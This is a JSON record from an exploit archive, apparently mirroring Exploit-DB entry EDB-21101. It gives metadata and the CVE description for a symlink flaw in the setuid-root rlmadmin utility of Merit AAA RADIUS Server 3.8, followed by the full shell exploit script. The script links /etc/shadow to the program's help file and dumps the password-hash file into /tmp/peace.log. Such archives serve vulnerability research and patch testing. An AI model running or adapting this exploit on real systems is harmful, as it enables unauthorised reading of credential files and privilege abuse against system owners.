{"exploit":{"id":"EDB-21101","name":"Merit AAA RADIUS Server 3.8 - rlmadmin Symbolic Link","description":"Merit AAA RADIUS Server 3.8 - rlmadmin Symbolic Link","cves":["CVE-2001-1000"],"author":"Digital Shadow","published":"2001-09-07","platform":"unix","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21101","path":"exploits/unix/local/21101.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21101.sh","vulnerabilities":[{"id":"CVE-2001-1000","state":"PUBLISHED","title":null,"titleSource":null,"description":"rlmadmin RADIUS management utility in Merit AAA Server 3.8M, 5.01, and possibly other versions, allows local users to read arbitrary files via a symlink attack on the rlmadmin.help file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-1000","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-1000"},"updatedAt":"2024-08-08T04:37:07.100Z","retrievedAt":"2026-11-26T20:11:11.840Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21101.png?v=2","url":"https://exploitbin.com/exploits/EDB-21101","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21101/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21101/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/sh\n# source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3302/info\n\n\n# The 'rlmadmin' user management utility included with the Merit AAA RADIUS Server package is susceptible to a trivial symbolic link attack. The program allows users to specify a directory from which configuration files should be loaded at runtime. A help file, 'rlmadmin.help', is loaded from this directory and displayed directly to the user when the program is run.\n\n# The vulnerability exists because the program is setuid root and does not check if the help file is symbolically linked before displaying its contents to the user. As a local user, it is trivial for a local user to read any file on the system. This may lead to the disclosure of sensitive data and system compromise.\n\n# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #\n# rlmadmin view file symlink vulnerability #\n# (c)oded 2001 Digital Shadow #\n# www.ministryofpeace.co.uk #\n# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #\nbloc=/usr/private/etc # executable file location\ncloc=/usr/private/etc/raddb # config file location\nfile=/etc/shadow # file to read\necho == rlmadmin exploit - visit www.ministryofpeace.co.uk for more!\necho = Initialising...\nmkdir /tmp/peace; cd /tmp/peace\ncp $cloc/dictionary $cloc/vendors .\nln -s $file rlmadmin.help\necho = Exploiting...\necho quit | $bloc/rlmadmin -d /tmp/peace > peace.log\nmv peace.log /tmp; rm dictionary rlmadmin.help vendors\necho = Done!\necho == Now look in /tmp/peace.log!","sha256":"e4dd3a82fbeff22573c693723dfb61b8278cfa82380dd587bc5163c4a3b2ab8a","bytes":1482,"fetchedAt":"2026-11-26T20:11:09.188Z","encoding":"utf-8 (display only; download retains original bytes)"}